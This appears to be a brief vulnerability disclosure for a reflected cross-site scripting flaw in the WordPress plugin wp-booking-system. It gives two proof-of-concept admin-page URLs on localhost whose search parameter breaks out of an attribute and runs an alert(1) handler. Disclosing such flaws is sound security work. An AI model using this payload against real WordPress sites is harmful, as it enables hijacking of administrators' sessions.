The plugin was affected by a reflected xss in wp-booking-system on the wpbs-calendars admin page.
http://127.0.0.1:8001/wp-admin/admin.php?page=wpbs-calendars&s=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%281%29+x%3D
or
http://127.0.0.1:8001/wp-admin/admin.php?page=wpbs-forms&s=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%281%29+x%3D